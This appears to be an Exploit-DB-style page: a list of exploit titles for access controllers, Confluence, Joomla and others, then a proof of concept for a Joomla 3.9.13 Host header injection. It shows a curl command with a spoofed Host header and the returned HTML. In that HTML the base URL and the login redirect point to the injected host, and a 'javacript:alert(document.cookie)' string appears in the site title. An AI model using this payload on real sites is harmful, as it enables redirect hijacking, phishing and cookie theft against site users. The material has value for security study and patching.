
38 changes to exploits/shellcodes Acronis True Image OEM 19.0.5128 - 'afcdpsrv' Unquoted Service Path Wondershare Application Framework Service 2.4.3.231 - 'WsAppService' Unquote Service Path Alps Pointing-device Controller 8.1202.1711.04 - 'ApHidMonitorService' Unquoted Service Path RTK IIS Codec Service 6.4.10041.133 - 'RtkI2SCodec' Unquote Service Path Control Center PRO 6.2.9 - Local Stack Based Buffer Overflow (SEH) Wondershare Application Framework Service - _WsAppService_ Unquote Service Path eMerge E3 Access Controller 4.6.07 - Remote Code Execution eMerge E3 Access Controller 4.6.07 - Remote Code Execution (Metasploit) CBAS-Web 19.0.0 - Information Disclosure Prima FlexAir Access Control 2.3.38 - Remote Code Execution Adrenalin Core HCM 5.4.0 - 'prntDDLCntrlName' Reflected Cross-Site Scripting Computrols CBAS-Web 19.0.0 - 'username' Reflected Cross-Site Scripting Adrenalin Core HCM 5.4.0 - 'strAction' Reflected Cross-Site Scripting eMerge E3 1.00-06 - Unauthenticated Directory Traversal eMerge E3 1.00-06 - Privilege Escalation eMerge E3 1.00-06 - Remote Code Execution eMerge E3 1.00-06 - Cross-Site Request Forgery Atlassian Confluence 6.15.1 - Directory Traversal eMerge E3 1.00-06 - Arbitrary File Upload eMerge E3 1.00-06 - 'layout' Reflected Cross-Site Scripting eMerge50P 5000P 4.6.07 - Remote Code Execution CBAS-Web 19.0.0 - Remote Code Execution CBAS-Web 19.0.0 - Cross-Site Request Forgery (Add Super Admin) CBAS-Web 19.0.0 - Username Enumeration CBAS-Web 19.0.0 - 'id' Boolean-based Blind SQL Injection Joomla 3.9.13 - 'Host' Header Injection Prima Access Control 2.3.35 - 'HwName' Persistent Cross-Site Scripting Prima Access Control 2.3.35 - Arbitrary File Upload Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit) Optergy 2.3.0a - Remote Code Execution FlexAir Access Control 2.4.9api3 - Remote Code Execution Optergy 2.3.0a - Cross-Site Request Forgery (Add Admin) Optergy 2.3.0a - Username Disclosure Optergy 2.3.0a - Remote Code Execution (Backdoor) Adrenalin Core HCM 5.4.0 - 'ReportID' Reflected Cross-Site Scripting FlexAir Access Control 2.3.35 - Authentication Bypass Bematech Printer MP-4200 - Denial of Service
237 lines
No EOL
10 KiB
Text
237 lines
No EOL
10 KiB
Text
# Exploit Title: Joomla 3.9.13 - 'Host' Header Injection
|
|
# Author: Pablo Santiago
|
|
# Date: 2019-11-12
|
|
# Vendor Homepage: https://www.joomla.org/
|
|
# Source: https://downloads.joomla.org/cms/joomla3/3-9-13/Joomla_3-9-13-Stable-Full_Package.zip?format=zip
|
|
# Version: 3.9.13
|
|
# CVE : N/A
|
|
# Tested on: Windows 10
|
|
|
|
#PoC
|
|
|
|
curl http://localhost/joomla/ -H "Host: exploit-db.com"
|
|
|
|
<!DOCTYPE html>
|
|
<html lang="en-gb" dir="ltr">
|
|
<head>
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
|
<meta charset="utf-8" />
|
|
<base href="http://exploit-db.com/joomla/" />
|
|
<meta name="description" content="javacript:alert(document.cookie)" />
|
|
<meta name="generator" content="Joomla! - Open Source Content
|
|
Management" />
|
|
<title>Home</title>
|
|
<link href="/joomla/index.php?format=feed&type=rss"
|
|
rel="alternate" type="application/rss+xml" title="RSS 2.0" />
|
|
<link href="/joomla/index.php?format=feed&type=atom"
|
|
rel="alternate" type="application/atom+xml" title="Atom 1.0" />
|
|
<link href="/joomla/templates/protostar/favicon.ico"
|
|
rel="shortcut icon" type="image/vnd.microsoft.icon" />
|
|
<link href="/joomla/templates/protostar/css/template.css?190197408a83fd286a9c42640a0f2f22"
|
|
rel="stylesheet" />
|
|
<link href="https://fonts.googleapis.com/css?family=Open+Sans"
|
|
rel="stylesheet" />
|
|
<style>
|
|
|
|
h1, h2, h3, h4, h5, h6, .site-title {
|
|
font-family: 'Open Sans', sans-serif;
|
|
}
|
|
</style>
|
|
<script type="application/json" class="joomla-script-options
|
|
new">{"csrf.token":"d460ac322fbbb6ae67cc78034182d9e1","system.paths":{"root":"\/joomla","base":"\/joomla"},"system.keepalive":{"interval":840000,"uri":"\/joomla\/index.php\/component\/ajax\/?format=json"}}</script>
|
|
<script
|
|
src="/joomla/media/jui/js/jquery.min.js?190197408a83fd286a9c42640a0f2f22"></script>
|
|
<script
|
|
src="/joomla/media/jui/js/jquery-noconflict.js?190197408a83fd286a9c42640a0f2f22"></script>
|
|
<script
|
|
src="/joomla/media/jui/js/jquery-migrate.min.js?190197408a83fd286a9c42640a0f2f22"></script>
|
|
<script
|
|
src="/joomla/media/system/js/caption.js?190197408a83fd286a9c42640a0f2f22"></script>
|
|
<script
|
|
src="/joomla/media/jui/js/bootstrap.min.js?190197408a83fd286a9c42640a0f2f22"></script>
|
|
<script
|
|
src="/joomla/templates/protostar/js/template.js?190197408a83fd286a9c42640a0f2f22"></script>
|
|
<!--[if lt IE 9]><script
|
|
src="/joomla/media/jui/js/html5.js?190197408a83fd286a9c42640a0f2f22"></script><![endif]-->
|
|
<script
|
|
src="/joomla/media/system/js/core.js?190197408a83fd286a9c42640a0f2f22"></script>
|
|
<!--[if lt IE 9]><script
|
|
src="/joomla/media/system/js/polyfill.event.js?190197408a83fd286a9c42640a0f2f22"></script><![endif]-->
|
|
<script
|
|
src="/joomla/media/system/js/keepalive.js?190197408a83fd286a9c42640a0f2f22"></script>
|
|
<script>
|
|
jQuery(window).on('load', function() {
|
|
new JCaption('img.caption');
|
|
jQuery(function($){ initTooltips(); $("body").on("subform-row-add",
|
|
initTooltips); function initTooltips (event, container) { container =
|
|
container || document;$(container).find(".hasTooltip").tooltip({"html":
|
|
true,"container": "body"});} });
|
|
</script>
|
|
|
|
</head>
|
|
<body class="site com_content view-featured no-layout no-task itemid-101">
|
|
<!-- Body -->
|
|
<div class="body" id="top">
|
|
<div class="container">
|
|
<!-- Header -->
|
|
<header class="header" role="banner">
|
|
<div class="header-inner clearfix">
|
|
<a class="brand pull-left"
|
|
href="/joomla/">
|
|
<span
|
|
class="site-title"
|
|
title="javacript:alert(document.cookie)">javacript:alert(document.cookie)</span>
|
|
|
|
</a>
|
|
<div class="header-search pull-right">
|
|
|
|
</div>
|
|
</div>
|
|
</header>
|
|
|
|
<div class="row-fluid">
|
|
<main
|
|
id="content" role="main" class="span9">
|
|
<!-- Begin Content -->
|
|
|
|
<div id="system-message-container">
|
|
</div>
|
|
|
|
<div class="blog-featured"
|
|
itemscope itemtype="https://schema.org/Blog">
|
|
<div class="page-header">
|
|
<h1>
|
|
Home </h1>
|
|
</div>
|
|
|
|
|
|
|
|
</div>
|
|
|
|
<div class="clearfix"></div>
|
|
<div aria-label="breadcrumbs"
|
|
role="navigation">
|
|
<ul itemscope itemtype="https://schema.org/BreadcrumbList"
|
|
class="breadcrumb">
|
|
<li>
|
|
You are here:  
|
|
</li>
|
|
|
|
<li
|
|
itemprop="itemListElement" itemscope
|
|
itemtype="https://schema.org/ListItem" class="active">
|
|
<span itemprop="name">
|
|
Home
|
|
</span>
|
|
<meta itemprop="position" content="1">
|
|
</li>
|
|
</ul>
|
|
</div>
|
|
|
|
<!-- End Content -->
|
|
</main>
|
|
|
|
<div id="aside" class="span3">
|
|
<!-- Begin Right Sidebar -->
|
|
<div class="well
|
|
_menu"><h3 class="page-header">Main Menu</h3><ul class="nav menu
|
|
mod-list">
|
|
<li class="item-101 default current active"><a
|
|
href="/joomla/index.php" >Home</a></li></ul>
|
|
</div><div class="well "><h3 class="page-header">Login Form</h3><form
|
|
action="/joomla/index.php" method="post" id="login-form"
|
|
class="form-inline">
|
|
<div class="userdata">
|
|
<div id="form-login-username" class="control-group">
|
|
<div class="controls">
|
|
|
|
<div class="input-prepend">
|
|
<span class="add-on">
|
|
<span
|
|
class="icon-user hasTooltip" title="Username"></span>
|
|
<label
|
|
for="modlgn-username" class="element-invisible">Username</label>
|
|
</span>
|
|
<input
|
|
id="modlgn-username" type="text" name="username" class="input-small"
|
|
tabindex="0" size="18" placeholder="Username" />
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div id="form-login-password" class="control-group">
|
|
<div class="controls">
|
|
|
|
<div class="input-prepend">
|
|
<span class="add-on">
|
|
<span
|
|
class="icon-lock hasTooltip" title="Password">
|
|
</span>
|
|
<label
|
|
for="modlgn-passwd" class="element-invisible">Password
|
|
</label>
|
|
</span>
|
|
<input
|
|
id="modlgn-passwd" type="password" name="password" class="input-small"
|
|
tabindex="0" size="18" placeholder="Password" />
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div
|
|
id="form-login-remember" class="control-group checkbox">
|
|
<label for="modlgn-remember"
|
|
class="control-label">Remember Me</label> <input id="modlgn-remember"
|
|
type="checkbox" name="remember" class="inputbox" value="yes"/>
|
|
</div>
|
|
<div id="form-login-submit"
|
|
class="control-group">
|
|
<div class="controls">
|
|
<button type="submit" tabindex="0"
|
|
name="Submit" class="btn btn-primary login-button">Log in</button>
|
|
</div>
|
|
</div>
|
|
<ul class="unstyled">
|
|
<li>
|
|
<a
|
|
href="/joomla/index.php/component/users/?view=remind&Itemid=101">
|
|
Forgot your username?</a>
|
|
</li>
|
|
<li>
|
|
<a
|
|
href="/joomla/index.php/component/users/?view=reset&Itemid=101">
|
|
Forgot your password?</a>
|
|
</li>
|
|
</ul>
|
|
<input type="hidden" name="option" value="com_users" />
|
|
<input type="hidden" name="task" value="user.login" />
|
|
<input type="hidden" name="return"
|
|
value="aHR0cDovL2V4cGxvaXQtZGIuY29tL2pvb21sYS8=" />
|
|
<input type="hidden"
|
|
name="d460ac322fbbb6ae67cc78034182d9e1" value="1" /> </div>
|
|
</form>
|
|
</div>
|
|
<!-- End Right Sidebar -->
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<!-- Footer -->
|
|
<footer class="footer" role="contentinfo">
|
|
<div class="container">
|
|
<hr />
|
|
|
|
<p class="pull-right">
|
|
<a href="#top" id="back-top">
|
|
Back to Top
|
|
</a>
|
|
</p>
|
|
<p>
|
|
© 2019
|
|
javacript:alert(document.cookie) </p>
|
|
</div>
|
|
</footer>
|
|
|
|
</body>
|
|
</html>
|
|
|
|
#PoC Visual
|
|
https://imgur.com/a/IgO4ZxI |